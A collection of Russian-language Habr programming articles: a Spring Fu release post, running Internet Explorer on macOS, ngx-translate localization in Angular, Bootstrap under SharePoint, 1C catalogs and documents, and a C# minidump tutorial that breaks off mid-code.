> @property (nonatomic, retain) IBOutlet MySplitViewController \*splitViewController;
>
>
>
> @end
>
> \* This source code was highlighted with Source Code Highlighter.`
В реализации переопределим инициализацию:
> `- (BOOL)application:(UIApplication \*)application didFinishLaunchingWithOptions:(NSDictionary \*)launchOptions
>
> {
>
> RootViewController \*rootViewController = [[[RootViewController alloc] initWithNibName:@"RootViewController" bundle:nil] autorelease];
>
> DetailViewController \*detailViewController = [[[DetailViewController alloc] initWithNibName:@"DetailViewController" bundle:nil] autorelease];
>
>
>
> rootViewController.detailViewController = detailViewController;
>
>
>
> splitViewController.masterViewController = rootViewController;
>
> splitViewController.detailViewController = detailViewController;
>
>
>
> [window addSubview:splitViewController.view];
>
> [window makeKeyAndVisible];
>
>
>
> return YES;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Остаётся лишь в MainWindow.xib связать элементы интерфейса.
**Маленький совет.** Если класс недоступен для выбора в Interface Builder, просто перетащите файл заголовка на окно Document.
Исходный код можно скачать [здесь](http://github.com/666tos/MySplitViewController)
Конечный вид нашего самодельного split view:
 | https://habr.com/ru/post/92928/ | null | ru | null |
# Spring Fu 0.3.0 и не только
> Для будущих учащихся на курсе [**"Kotlin Backend Developer**](https://otus.pw/B3bW/)**"** подготовили перевод материала.
>
> Также приглашаем всех желающих на открытый демо-урок [**«Использование GraphQL в разработке бэкенд на Kotlin».**](https://otus.pw/4C0O/) На этом вебинаре проведем обзор технологии GraphQL, рассмотрим существующие решения для Kotlin и примеры серверной и клиентской реализации с ktor и graphql-kotlin.
>
>
---
Спешу поделиться радостной новостью — наконец-то вышел [Spring Fu](https://github.com/spring-projects-experimental/spring-fu/) версии 0.3.0. Напомню, что это инкубатор для программного конфигурирования Spring Boot с использованием [DSL](https://en.wikipedia.org/wiki/Domain-specific_language). Он позволяет декларативно задавать конфигурацию в самом коде, предлагая отличную обнаруживаемость посредством автозавершения.
### JaFu возвращается!
Теперь мы снова можем использовать [JaFu](https://github.com/spring-projects-experimental/spring-fu/tree/master/jafu) (DSL Java) наряду с [KoFu](https://github.com/spring-projects-experimental/spring-fu/tree/master/kofu) (DSL Kotlin). Я отказался от JaFu в версии 0.1.0, потому что на тот момент мне не хватало ресурсов для поддержки двух DSL — Java и Kotlin. Что касается API, я не был уверен, что вариант на Java стоил моих усилий, но я передумал по нескольким причинам:
* Многие пользователи просили вернуть его.
* Java быстро развивается.
* JaFu позволяет лучше контролировать применение конфигурации, что делает его полезным не только для Java-разработчиков, но и для Kotlin-разработчиков.
* Функциональный подход очень эффективен при работе с JVM и [нативными образами GraalVM](https://github.com/spring-projects-experimental/spring-graalvm-native).
* К нашей команде присоединились два новых специалиста: [Одри Неве (Audrey Neveu)](https://spring.io/team/aneveu) работает над KoFu, а [Арьен Путсма (Arjen Poutsma)](https://spring.io/team/apoutsma) — над JaFu. Добро пожаловать!
#### Другие улучшения
С выходом новой версии появилась возможность создать базовую линию [Spring Boot 2.3.0](https://spring.io/blog/2020/05/15/spring-boot-2-3-0-available-now) и улучшить API. Подробнее об изменениях написано [тут](https://github.com/spring-projects-experimental/spring-fu/milestone/8?closed=1).
Благодаря дополнительной оптимизации Spring Fu 0.3.0 позволяет использовать только функциональную веб-инфраструктуру, поэтому на моем ноутбуке OpenJDK 11 запускается очень быстро: Started Application in 0.673 seconds (JVM running for 0.898).
#### Сравнение JaFu и Kofu
Spring MVC позволяет использовать функциональный подход как для Java, так и для Kotlin. Давайте посмотрим, как выглядит самое простое веб-приложение Spring Boot, созданное с помощью этих DSL.
На JaFu:
```
public class Application {
public static JafuApplication app = webApplication(a -> a.beans(b -> b
.bean(SampleHandler.class)
.bean(SampleService.class))
.enable(webMvc(w -> w
.port(w.profiles().contains("test") ? 8181 : 8080)
.router(router -> {
SampleHandler handler = w.ref(SampleHandler.class);
router
.GET("/", handler::hello)
.GET("/api", handler::json);
}).converters(c -> c
.string()
.jackson(j -> j.indentOutput(true))))));
public static void main (String[] args) {
app.run(args);
}
}
```
На KoFu:
```
val app = webApplication {
beans {
bean()
bean()
}
webMvc {
port = if (profiles.contains("test")) 8181 else 8080
router {
val handler = ref()
GET("/", handler::hello)
GET("/api", handler::json)
}
converters {
string()
jackson {
indentOutput = false
}
}
}
}
fun main() {
app.run()
}
```
#### Срезы конфигурации
Вся прелесть этого подхода заключается в том, что вы можете определить собственные срезы конфигурации и собрать их как угодно. Для примера выделим три среза конфигурации `webConfig`, `loggingConfig` и `myFeatureConfig`:
```
val webConfig = configuration {
webMvc {
// ...
}
}
val loggingConfig = configuration {
logging {
level = LogLevel.WARN
}
}
val myFeatureConfig = configuration {
beans {
// ...
}
cassandra {
// ...
}
}
```
В дальнейшем вы можете использовать их все в обычном веб-приложении:
```
val webApp = webApplication {
enable(loggingConfig)
enable(myFeatureConfig)
enable(webConfig)
}
fun main() {
webApp.run()
}
```
Для интеграционного тестирования можно использовать часть из них:
```
@Test
fun `My feature integration test`() {
val testApp = application {
enable(loggingConfig)
enable(myFeatureConfig)
}
// ...
}
```
### Планы на будущее
В [версии 0.4.0](https://github.com/spring-projects-experimental/spring-fu/milestone/10) мы планируем следующие нововведения:
* Замена модуля [autoconfigure-adapter](https://github.com/spring-projects-experimental/spring-fu/tree/master/autoconfigure-adapter) на [spring-init](https://github.com/spring-projects-experimental/spring-init/) — экспериментальный проект, авторами которого являются [Дейв Сиер (Dave Syer)](https://spring.io/team/dsyer) и [Энди Клемент (Andy Clement)](https://spring.io/team/aclement). Этот модуль автоматически трансформирует автоконфигурации Spring Boot в функциональную регистрацию бинов.
* Нативная поддержка GraalVM без настройки рефлексии (зависит от [oracle/graal#2500](https://github.com/oracle/graal/issues/2500)).
* Новые расширенные возможности DSL.
* Модель приложения, которое может масштабироваться до нуля с помощью JaFu, нативного образа GraalVM и [Knative](https://knative.dev/).
* Реализация [Spring Framework 5.3 M1](https://github.com/spring-projects/spring-framework/milestone/222), позволяющая отключить по умолчанию поддержку [XML](https://github.com/spring-projects/spring-framework/issues/25151) и [SpEL](https://github.com/spring-projects/spring-framework/issues/25153).
* Поддержка Spring Security [через официальный DSL Kotlin Spring Security 5.3](https://docs.spring.io/spring-security/site/docs/current/reference/html5/#kotlin-config).
Будем рады вашим отзывам. Стоит отметить, что сейчас мы занимаемся в основном дизайном и API наших программ и не стремимся внедрить много новых функций.
---
> Узнать подробнее о курсе [**"Kotlin Backend Developer**](https://otus.pw/B3bW/)**"**
>
> Смотреть вебинар [**«Использование GraphQL в разработке бэкенд на Kotlin»**](https://otus.pw/4C0O/)
>
> | https://habr.com/ru/post/555292/ | null | ru | null |
# Запускаем Internet Explorer под Mac OS X
Всем привет! Хочу поделиться ответом на вопрос, который в свое время сам задавал на различных конференциях, как только обзавелся макинтошем. К сожалению, компания Microsoft давно уже перестала заниматься поддержкой своего любимого браузера под платформу Mac, поэтому для этой ОС существует IE только старой версии — 5. Более поздних версий уже не выпускалось и для разработчиков стало проблемой запустить последние версии IE на макинтоше. Как запустить Internet Explorer на машине с установленной Mac OS X,
Самый простой способ это сделать — скачать и установить дистрибутив [VMWare Fusion](http://www.vmware.com/products/fusion/), после чего поставить на него [Windows XP](http://www.microsoft.com/windows/windows-xp/), для которого существует такой софт, как [IE Tester](http://www.my-debugbar.com/wiki/IETester/HomePage). Эта замечательная программка разработана специально для Windows и содержит в себе сразу несколько версий нашего «любимого» Internet Explorer — 5.5/6/7/8. Также, вы можете использовать [Parallels](http://www.parallels.com/) или [Bootcamp](http://www.apple.com/macosx/compatibility/). Для того, чтобы воспользоваться этими виртуалками, ваш макинтош должен быть на Intel-платформе. Если это не так, то есть еще один способ — [ies4osx](http://www.kronenberg.org/ies4osx/), который запускается под [Darwine](http://www.kronenberg.org/darwine/) (это программа, позволяющая запускать софт для семейства Windows не запуская саму операционную систему).
Если вы знаете еще какие-то способы — пишите, с удовольствием добавлю.
**UPD**. от [darkstyler](https://geektimes.ru/users/darkstyler/)
`если еще не стоит, то ставим macports (www.macports.org/)
$ sudo port selftupdate
$ sudo port install wine winetricks
$ winetricks ie6
$ wine ~/.wine/drive_c/Program\ Files/Internet\ Explorer/iexplore.exe`
**UPD**. еще можно проверить сайт в IE (да и в других браузерах тоже) в он-лайн сервисах, таких как — [browsershots.org](http://browsershots.org/) и [ipinfo.info/netrenderer](http://ipinfo.info/netrenderer/) (если нужен только IE, то отдаю предпочтение последнему ресурсу, для остальных браузеров — первый ресурс)
**UPD**. народ, вы если минусуете — объясняйте хотя бы почему. Может надо дополнить еще или подправить? Зачем минусовать, не объясняя. Если вы не пользуетесь Mac'ом — зачем ставить минус? | https://habr.com/ru/post/71496/ | null | ru | null |
# Прикручиваем ngx-translate в Angular приложение. Практическое пошаговое руководство
Практическая пошаговая инструкция как прикрутить динамическую локализацию (возможность выбора языков) в веб приложении на Angular 4+ используя [@ngx-translate/core](https://www.npmjs.com/package/@ngx-translate/core).
В принципе можно найти публикации на подобную тему, может быть достаточно самой документации этой библиотеки, но я хотел систематизировать эту инструкцию для более удобного применения. Такая закладка в копилку начинающего Angular разработчика. В конце статьи есть ссылка на открытый репозиторий с примером.
Почему именно ngx-translate
===========================
Сразу хочу оговориться, это инструкция по применению конкретной библиотеки. Мы не будем говорить об альтернативах, о том, что у ангуляра есть своя i18n локализация. Хотя бы потому, что с динамической сменой языка там есть вопросы.
Что получим на выходе
=====================
* Ангуляр приложение, в папке `assets/locale` расположены `*.json` файлы с ключами и их локализованными значениями, по одному файлу для каждого поддерживаемого языка в веб приложении.
* Динамическая смена языка
* Хранение ключей в объектной структуре, то есть иметь что-то такое:
```
// en.json
{
Common: {
Yes: "Yes"
}
}
```
Это позволит группировать ключи / значения и как-то организовать json файл с локализацией. Для больших проектов весьма полезно.
* Минимальную автоматизацию и проверку на дурака. Что если забыли добавить ключ в json?
* Применение локализации как в html шаблонах, так и в ts коде
Настраиваем
===========
1. Создаем или берем готовый ангуляр проект. Версия ангуляра 4+, но лучше конечно максимально свежую.
2. Устанавливаем нужные библиотеки:
```
npm install @ngx-translate/core --save
npm install @ngx-translate/http-loader --save
@biesbjerg/ngx-translate-extract --saveDev
```
> Библиотека `@ngx-translate/http-loader` нужна для того, чтобы мы могли считывать данные о локализации из `*.json` файлов. Без нее жить можно, но тогда придется полностью самостоятельно писать хранение и загрузку данных локализации. Данный подход подойдет тем, у кого данные локализации (или попросту все переведенные тексты) уже где-то хранятся.
>
>
>
> Библиотека `@biesbjerg/ngx-translate-extract` не обязательна, но довольно полезна. Она позволяет собирать по коду приложения забытые локализационные ключи и обновлять файлы локализаций. С ее помощью очень удобно обрабатывать такой сценарий: добавляем новый язык и просто запускаем команду из этой библиотеки. В результате пустой файл для нового языка наполнится всей структурой ключей и каких-то значений по умолчанию. Пример будет ниже.
1. Импортируем библиотеку в главном модуле:
```
@NgModule({
imports: [
TranslateModule.forRoot({
loader: {
provide: TranslateLoader,
useFactory: HttpLoaderFactory,
deps: [HttpClient],
},
useDefaultLang: false,
})
],
})
export class AppModule { }
```
В настройках библиотеки присутствует `HttpLoaderFactory`, ее можно описать прямо в этом же файле, она скромных размеров.
```
export function HttpLoaderFactory(http: HttpClient): TranslateLoader {
return new TranslateHttpLoader(http, './assets/locale/', '.json');
}
```
Именно тут мы указываем путь к файлам локализации. Если они хранятся как-то отдельно, или вообще различно в разных енвайронментах — поменяйте данный код на использование `environment.ts` например.
1. В принципе этого достаточно для основных настроек, но мы сделаем еще один дополнительный шаг — обработку ошибок, когда не найден ключ.
Для этого нужно в настройку (сразу после указания loader) добавить еще одно поле:
```
missingTranslationHandler: { provide: MissingTranslationHandler, useClass: MissingTranslationService },
```
И конечно же необходимо создать в отдельном файле саму реализацию этого обработчика:
```
export class MissingTranslationService implements MissingTranslationHandler {
handle(params: MissingTranslationHandlerParams) {
return `WARN: '${params.key}' is missing in '${params.translateService.currentLang}' locale`;
}
}
```
1. Добавляем хранение доступных языков. В простом случае удобно положить их в `environment.ts`
```
locales: ['en', 'ru'],
defaultLocale: 'en',
```
1. Чтобы сервис начал работать, его необходимо инициализировать в файле AppComponent, при загрузке приложения:
```
@Component({...})
export class AppComponent implements OnInit {
constructor(private translateService: TranslateService) {}
ngOnInit(): void {
this.translateService.use(environment.defaultLocale);
}
}
```
1. Добавляем файлы `en.json` и `ru.json` (в соответствии с тем, что указано в списке доступных языков). Добавьте какое-то базовое поле, чтобы это был валидный json.
Когда эти шаги сделаны, сервис начнет работать.
Используем сервис
=================
HTML разметка
-------------
Тут все просто. Библиотека предлагает pipe `translate`, мы просто применяем его в разметке для определенных ключей.
```
{{ 'LANGUAGES.TITLE' | translate }}
```
> Заметьте, я использую тут вложенные свойства, ту структуру json, о которой говорил в начале.
>
>
>
> Так же поддерживаются параметры, посмотрите про них пожалуйста в документации [@ngx-translate/core](https://www.npmjs.com/package/@ngx-translate/core). С помощью параметров можно реализовывать что-то вроде интерполирования строк.
В коде компонентов
------------------
```
this.translateService.get(['KEY1', 'KEY2']))
.subscribe(translations => {
console.log(translations['KEY1'])
console.log(translations['KEY2'])
});
```
Это надежный способ, если вы нормально относитесь к Observable и RxJs.
Если же нет — есть такой способ:
```
this.translateService.instant('Key')
```
> Данный способ работает хорошо, но на этапе инициализации приложения (например ngOnInit AppComponent) данные для него могут еще быть не загружены. Будьте аккуратны.
Поддержка файлов .json
======================
В конце хочу показать, как использовать `ngx-translate-extract` утилиту. Просто выполняете в консоли команду `ngx-translate-extract -i ./src -o src/assets/locale/*.json --sort --format namespaced-json`. Данная команда запустит анализ файлов приложения, разметки и кода тайпскрипт. Все найденные в разметке и прочем коде ключи попадут в .json для всех языков, имеющиеся ключи и их значения останутся нетронутыми, разве что порядок может измениться.
Для удобства я дописываю это как скрипт в package.json
```
"scripts": {
"ng": "ng",
"start": "ng serve",
"update-locale": "ngx-translate-extract -i ./src -o src/assets/locale/*.json --sort --format namespaced-json"
},
```
Все, что я описал, можно найти собранным вместе в открытом репозитории: [valentinkononov/ngx-translate-angular](https://github.com/valentinkononov/ngx-translate-angular/)
Надеюсь материал будет полезен! Пишите код с удовольствием, выбирайте удобные библиотеки и делайте полезные проекты! | https://habr.com/ru/post/474760/ | null | ru | null |
# Twitter Bootstrap и SharePoint. Как заставить Bootstrap корректно работать под SP
Зачем использовать Bootstrap?
-----------------------------
Разрабатывая и дорабатывая решения на основе SharePoint, я всё больше стал сталкиваться с повышенными ожиданиями пользователей от стандартных форм создания и редактирования элементов. Всех окружают такие удобные и привычные Яндекс, Gmail, Facebook, VK и другие. Симпатичные, быстрые и понятные интерфейсы стали нормой. Многие ожидают интерфейсы подобного уровня и в корпоративных системах.
Оставлю в стороне сравнение бюджетов на разработку интерфейсов среднего интегратора, или небольшого отдела разработки в крупной компании с одной стороны и софтверных и веб-гигантов с другой, однако, отмечу, что пользователю и заказчику эти тонкости обычно не интересны. Интересен сам результат. У разработчиков, которые используют front-end фреймворки, обычно этот результат заказчиков удовлетворяет. Однако остается вопрос, почему именно Bootstrap? Для этого рассмотрим типичные «хотелки»:
* Возможность безболезненно заполнить форму с мобильного устройства (начиная с IPad, заканчивая Android смартфонами с разрешением 800х600 точек);
* Современное оформление — всем очень надоел стандартный интерфейс SharePoint;
* Сложные, составные контролы.
Если перевести эти желания на технический язык, получится следующее:
1. Адаптивная вёрстка;
2. Предустановленные стили, темы и т.д.;
3. Сложные контролы, обычно это куча логики на JS + CSS.
Для решения этих задач я провел небольшое исследование текущих front-end фреймворков. Выбор пал на Twitter Boostrap по нескольким причинам. Отмечу только те, которые применительны к ситуации:
1. Самый популярный — обычно, это означает, что на все вопросы уже даны ответы;
2. Отличная документация и примеры;
3. Реализуя разметку на бутстрапе, мы не занимаемся созданием стилей, HTML разметки и т.д., по сути, мы берем готовые блоки и вставляем в нашу форму;
4. Нет нужды писать свои сложные модули и контролы, можно брать уже готовые скрипты, подключать на страницу и использовать согласно документации разработчика;
5. Низкий порог вхождения – достаточно понимать базовые принципы HTML JS CSS и вы уже можете начать использовать все возможности бутстрапа.
Конкретно по задачам:
1. Адаптивная верстка — для наглядности — <http://www.youtube.com/watch?v=5wMk4iXnpG0#t=75> (справедливости ради, адаптивность, сейчас, стандарт для современных фронт-энд фреймворков);
2. Помимо того, что бутстрап сам по себе выглядит современно, на его основе создано тысячи тем, в том числе бесплатных, например — <http://ironsummitmedia.github.io/startbootstrap-sb-admin/index.html>;
3. Для бутстрапа написано бесчисленное множество плагинов и библиотек, отыскать готовое решение труда не составит, другое, дело, что все их, скорее всего придётся дорабатывать, но это общая болезнь open source решений.
И самое главное, что нужно понимать. Используя бутстрап вы получаете мощный, апробированный многотысячным комьюнити фронт-энд разработчиков инструмент, благодаря которому вы упростите жизнь себе, заказчику и своему начальнику. Заказчик будет пользоваться современным и удобным интерфейсом, вы будете быстро получать достойный результат, а начальник сокращать издержки не в ущерб качеству.
Задача
------
Необходимо за короткий промежуток времени реализовать форму в виде визарда с кастомной валидацией. Заполнять её будут пользователи, в т.ч. с мобильных устройств. В организации встречаются все виды браузеров, IE8+ и т.д. Одно из главных требований — «чтобы выглядело современно».
Изучив примеры, решил попробовать реализовать. Результат отличный:
[](https://habrastorage.org/files/9ef/ba8/c47/9efba8c475ef46e28f9ff50e465f594d.png)
Но если присмотреться, видны проблемы:
[](https://habrastorage.org/files/3db/3c7/538/3db3c7538fd343208be4e07c3999fb76.png)
Изучив вопрос, выяснилось, что Bootstrap использует стиль — box-sizing: border-box, применяет его ко всему документу и, таким образом, ломает верстку SharePoint, где значение box-sizing:content-box. В первом варианте при расчете положения элемента граница считается внутри элемента, а во втором — снаружи. Рекомендую ознакомиться: <http://www.w3schools.com/cssref/css3_pr_box-sizing.asp>
В бутстрапе применяется именно border-box, т.к. это упрощает расчет конечной ширины блоков системы адаптивной верстки.
В полный рост встал вопрос: и как? Отказаться от bootstrap? Нет! Одно из первых решений — это использовать кастомный Masterpage ([под 2013](http://www.topsharepoint.com/shareboot-responsive-sharepoint-2013-theme), [под 2010](https://responsivesharepoint.codeplex.com/)). У этого решения есть как плюсы, так и минусы:
[+] Бутстрап работает без всяких ухищрений;
[+] Любые темы и сниппеты взятые из сети встают быстро и хорошо выглядят;
[-] Это кастомный мастерпейдж, не всегда есть возможность его установить;
[-] Если применяется кастомный мастерпедж — придется дорабатывать и этот.
Решение
-------
В моем случае реализация с кастомным мастепейджем не работала. Для того, чтобы Boostrap не ломал верстку SharePoint, я решил использовать обходное решение, а именно:
* Создал форк и новую ветку проекта Bootstrap на гитхабе (<https://github.com/dimkk/bootstrap/tree/bootstrap-scoped>);
* Внес изменения в LESS файлы + поправил стили к Body и Html;
* Скомпилировал и положил в папку /scoped/ этой ветки;
* Теперь для того, чтобы стили бутстрапа заработали, достаточно реализовать следующую разметку:
```
[Тут работаем как с обычным бутстрапом]
```
Подключил этот файл в свой проект, стало ок, но не совсем! Так как данный визард для примера я брал [с bootsnipp](http://bootsnipp.com/snippets/featured/form-wizard-and-validation), там используются дополнительные стили, которые тоже необходимо «заскоупить» на наши стили бутстрапа. Результат оказался очень даже неплохой:
[](https://habrastorage.org/files/68f/751/41b/68f75141bd5a4e93bd705b5372598049.png)
Исходник этого приложения доступен по ссылке: <https://github.com/dimkk/sharepoint.app.bootstrap>
К сожалению, этот способ тоже не панацея. Имеет свои плюсы и минусы:
[+] Лёгкость реализации — подключил, добавил разметку, и работай в любом месте SP без риска поломать остальную верстку;
[-] Если копировать готовые решения, придется дорабатывать верстку под специфичный «scope», однако, надо сказать, что, порой встречаются готовые решения которые удовлетворят самых взыскательных заказчиков, тогда, в случаях, когда masterpage использовать не удасться — этот способ будет реальным решением проблем.
Для разворачивания примера необходимо:
* **В случае Sharepoint Online :**
* В центре администрирования SharePoint создать частное семейство сайтов, выбрать шаблон — сайт разработчика, остальные параметры как обычно.
* Открыть скачанный проект в студии, щёлкнуть по проекту, нажать F4 — в окне свойств в поле Site URL ввести URL только что созданного сайта
* Нажать Deploy — посмотреть на результат
* **В случае On-Premise SharePoint 2013:**
* В случае, если у Вас не развернута Apps инфраструктура, необходимо её развернуть, например, по этому руководству: [Текстом](http://blogs.msdn.com/b/how24/archive/2013/06/14/prepare-your-sharepoint-2013-farm-for-app-development-and-debugging.aspx) [Видео](http://channel9.msdn.com/Events/TechEd/NewZealand/2013/SES202)
* Открыть скачанное решение, так же ввести Site Url — развернуть решение
P.S. В ближайшее время планирую рассказать о том, как собрать логику к этой форме, используя Angular, а так же о способах тестирования кода Angular под Visual Studio. Более подробно остановлюсь на деплое Аппа. | https://habr.com/ru/post/249739/ | null | ru | null |
# Справочники и документы. В чем сила 1С
Много узкоспециализированных объектов или небольшое количество универсальных? Истина, как обычно, посередине. Справочники и документы в 1С - это пример удачного попадания в эту середину. Разумеется, речь не о том, что видит пользователь, а о том, чем оперирует разработчик. Идея " а давайте у нас будут не таблицы базы данных, а справочники и документы", при всей своей внешней неброскости, не столь проста. О чем и поговорим далее
Вступление
----------
Мы стартуем с того, что часть таблиц базы данных в обязательном порядке снабжаем полем типа *дата* и называем их *документами.* Другая часть таблиц может иметь в своем составе поля типа *дата*, а может и не иметь. Их мы называем справочниками. И те и другие, как и почти все порядочные таблицы баз данных, имеют поле уникального идентификатора, он же первичный ключ. Разработчикам не надо заботится о создании этих полей и ключей. Платформа 1С:Предприятие сделает это за них. Разработчики могут пользоваться результатами работы платформы и связывать *документы* и *справочники* друг с другом всевозможными способами. Значения уникальных идентификаторов формируются автоматически.
*Справочники* и *документы* в 1С называют *объектными сущностями*. Потому что если удалить запись, а потом создать "точно такую же", то она не будет точно такой же. Это будет другая запись, с другим уникальным идентификатором. За всем этим не стоит никакого глубокого смысла. Это всего лишь обратная сторона автоматизации. Плата за то, что разработчикам не надо задумываться о формировании значений ключей. Кроме того, это вообще неправда. В 1С можно штатными средствами создать "точно такую же запись" *справочника* или *документа*. Просто это потребует дополнительных усилий со стороны разработчика.
На создании ключей автоматизация не заканчивается. И для справочников и для документов создается ряд служебных полей. Также, разработчикам предоставляются интересные инструменты и методы. Рассмотрим их подробнее.
Справочники
-----------
Помимо уникального идентификатора, в 1С его называют *ссылкой*, в *справочнике* могут быть автоматически созданы следующие поля:
* Код
* Наименование
* Владелец
* Родитель
* ЭтоГруппа
* ПометкаУдаления
* Предопределенный
* ИмяПредопределенныхДанных
Некоторые из них заслуживают более подробного рассказа.
Сразу вызывает вопросы поле *код*. Зачем оно нам, если у нас уже есть уникальный идентификатор? Здесь мы снова имеем дело с некоторыми издержками автоматизации. Уникальный идентификатор формируется по некоторым своим "внутренним" правилам. В общем случае, пользователь его не видит и, тем более, не может его менять. С другой стороны, платформа 1С создавалась в те времена, когда автодополнение после каждого введенного символа еще не было так распространено, считалось, что поиск по коду важнее поиска по наименованию. Поэтому каждый справочник надо бы снабдить неким кодом, но уже доступным для пользователя. С тех пор так и пошло, что какой-нибудь *справочник* контрагентов имеет встроенный уникальный идентификатор для ссылок и не менее уникальный ИНН(КПП), но уже для поиска.
Кроме того, в любой более или менее содержательной конфигурации найдется большое количество *справочников*, которым код в принципе не нужен. Всякие склады, подразделения, типы цен и т.д. Платформа 1С Предприятие вообще-то позволяет избавиться от ненужного кода
Но тут "особо умных" ждет подвох
Мы-то удалили код из *справочника*, а платформа не совсем.
Этому багу уже лет двадцать. Поначалу я на него сердился, а теперь кажется, что мне будет его не хватать, если его когда-нибудь исправят.
Два поля, *родитель* и *этогруппа*, отвечают за иерархию. Пользователи любят иерархию. А для разработчиков эта любовь выливается в необходимость прибегать к рекурсивным алгоритмам. Платформа 1С:Предприятие позволяет вообще не вспоминать об этом.
Одна "галочка" и пользователь получает у себя перед глазами красивое "дерево", а разработчик такие методы как ПринадлежитЭлементу() и ВыбратьИерархически().
Отдельно стоит рассказать про так называемые *табличные части*. *Табличная часть* - это таблица, связанная с основной таблицей *справочника* или *документа* отношением много-к-одному. В предыдущей, седьмой версии табличная часть могла быть только у *документа*. Причем в количестве строго одна штука. В восьмой версии ограничение на количество табличных частей сняли, а заодно и разрешили создавать табличные части и для *справочников*. Жаль только, что нельзя создавать табличные части у табличных частей. Такого рода задачи, хоть и нечасто, но все же приходится решать. И в этот момент приходит понимание, что при всей своей простоте, концепция табличных частей реально экономит разработчику очень много времени.
Документы
---------
Как я уже говорил, у документа кроме *ссылки* есть поле *дата*. Это позволяет рассматривать *документы* как инструмент отображения событий. Есть еще три предопределенных поля:
* Номер
* Проведен
* ПометкаУдаления
Можно добавлять табличные части. Но самое интересное в документах - это то, что у них как правило есть *движения*. Движения это записи в *регистрах накопления* (*регистрах бухгалтерии*, *регистрах расчета*, реже в *регистрах сведений*) связанные с документом. В самых простых случаях нет необходимости писать код для формирования движений (а в сложных есть такая возможность!). Можно воспользоваться конструктором движений.
Три (если у вас "+", "приход") или четыре клика (если у вас "-", "расход") и платформа создаст вам код
```
Процедура ОбработкаПроведения(Отказ, РежимПроведения)
//{{__КОНСТРУКТОР_ДВИЖЕНИЙ_РЕГИСТРОВ
// Данный фрагмент построен конструктором.
// При повторном использовании конструктора, внесенные вручную изменения будут утеряны!!!
// регистр ОстаткиТоваров Приход
Движения.ОстаткиТоваров.Записывать = Истина;
Для Каждого ТекСтрокаТовары Из Товары Цикл
Движение = Движения.ОстаткиТоваров.Добавить();
Движение.ВидДвижения = ВидДвиженияНакопления.Приход;
Движение.Период = Дата;
Движение.Товар = ТекСтрокаТовары.Товар;
Движение.Количество = ТекСтрокаТовары.Количество;
КонецЦикла;
//}}__КОНСТРУКТОР_ДВИЖЕНИЙ_РЕГИСТРОВ
КонецПроцедуры
```
Быстрая разработка
------------------
В чем сила разделения таблиц на *справочники* и *документы*, и почему я называю это удачной находкой.
Такое простое разделение как бы берет за руку неопытного разработчика и ведет его к результату. Нам нужен учет на складе? Хорошо, какие у нас будут *документы*? Очевидно, что как минимум, для начала, приход на склад и расход со склада. А что в документах? В документах ссылки на *справочники* склады, товары и т.д. Ну и количество, разумеется. И все это делается за считанные минуты даже теми, кто никогда раньше не видел 1С. Еще несколько минут и мы создали регистр остатков товаров на складе, с помощью конструктора движений сгенерировали код для документов прихода и расхода. В принципе, наша учетная система уже готова к использованию. Можно еще создать *отчет.* Также с помощью конструктора. И так же быстро, как все остальное. Но это тема отдельного интересного разговора.
Заключение
----------
В бурно развивающихся и постоянно меняющихся ИТ иногда встречаются "долгоиграющие" темы. Хороший пример тому язык запросов SQL. Вывод разработчика на уровень абстракции *справочники/документы* появился в 1С четверть века назад. И это прекрасно работает до сих пор. Что и служит доказательством удачной находки.
Также хочу напомнить про [бесплатный вебинар](https://otus.pw/PjH6B/) от OTUS, где преподаватели покажут как решаются задачи проектирования объектов метаданных различных конфигураций, для решения практических задач бизнеса.
* [Подробнее про бесплатный вебинар](https://otus.pw/PjH6B/) | https://habr.com/ru/post/716000/ | null | ru | null |
# Создание минидампов в проектах на C# 4.0, разрабатываемых в VS 2010
Для создания минидампов в управляемой среде используются возможности библиотеки DbgHelp.dll. Рассмотрим применение ее функционала на примере готового проекта на WinForms.
---
Пишем код, создающий минидампы
------------------------------
Прежде всего, заметим, что минидампы должны создаваться при возникновении необработанного исключения. Чтобы, для примера, сгенерировать такое исключение, в процессе выполнения программы будем осуществлять деление на ноль при нажатии пользователем определенной кнопки:
```
private void button1_Click_1(object sender, EventArgs e)
{
int a = 3;
int b = 0;
int c = a / b;
}
```
Теперь рассмотрим те механизмы, с помощью которых в проектах обрабатываются исключения, не обработанные кодом разработчика. Нас интересуют два обработчика:
```
AppDomain.CurrentDomain.UnhandledException
Application.ThreadException
```
ThreadException обычно обрабатывает необработанные исключения, связанные с потоками UI (например, такие, которые могут возникнуть в событиях WinForms). Все остальные необработанные исключения вызывают остановку программы. Однако, до окончательного заверщения ее работы можно совершить некоторые необходимые нам действия: сохранить данные пользователя, или, как в нашем случае, записать на жесткий диск минидамп. Для этого служит обработчик UnhandledException.
Для того чтобы упростить решение задачи, сделаем так, чтобы все исключения обрабатывались UnhandledException. Для этого перед методом Application.Run(new Form1) в Main() вызовем следующий метод:
```
Application.SetUnhandledExceptionMode(UnhandledExceptionMode.ThrowException);
```
С этого момента ThreadException нас не интересует.
Все действия по обработке исключений с помощью DbgHelp инкапсулируем в один класс DumpMaker, у которого будет важный для нас метод с следующей сигнатурой:
```
public static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
```
Именно этот метод мы зарегистрируем для обработки UnhandledException:
```
AppDomain.CurrentDomain.UnhandledException += DumpMaker.CurrentDomain_UnhandledException;
```
Теперь программа перед тем, как аварийно завершить работу, вызовет наш метод.
Содержимое класса DumpMaker
```
private static class MINIDUMP_TYPE
{
public const int MiniDumpNormal = 0x00000000;
...
public const int MiniDumpWithCodeSegs = 0x00002000;
}
```
MINIDUMP\_TYPE содержит все типы минидампов, которые мы можем создавать. Каждый тип ассоциирован с определенной константой. Полный список констант можно узнать на [сайте](http://msdn.microsoft.com/en-us/library/windows/desktop/ms680519(v=vs.85).aspx).
```
[StructLayout(LayoutKind.Sequential, Pack = 4)]
public struct MINIDUMP_EXCEPTION_INFORMATION
{
public uint ThreadId;
public IntPtr ExceptionPointers;
public int ClientPointers;
}
```
MINIDUMP\_EXCEPTION\_INFORMATION — структура, которая будет хранить информацию об исключении, благодаря которому программа завершила свою работу.
```
[DllImport("kernel32.dll")]
static extern uint GetCurrentThreadId();
```
Возврещает ID текущего процесса.
```
[DllImport("Dbghelp.dll")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, int DumpType, ref MINIDUMP_EXCEPTION_INFORMATION ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
```
Библиотечный метод, непосредственно выполняющий создание дампа и его запись. Он вызывается из метода
```
private static void CreateMiniDump()
{
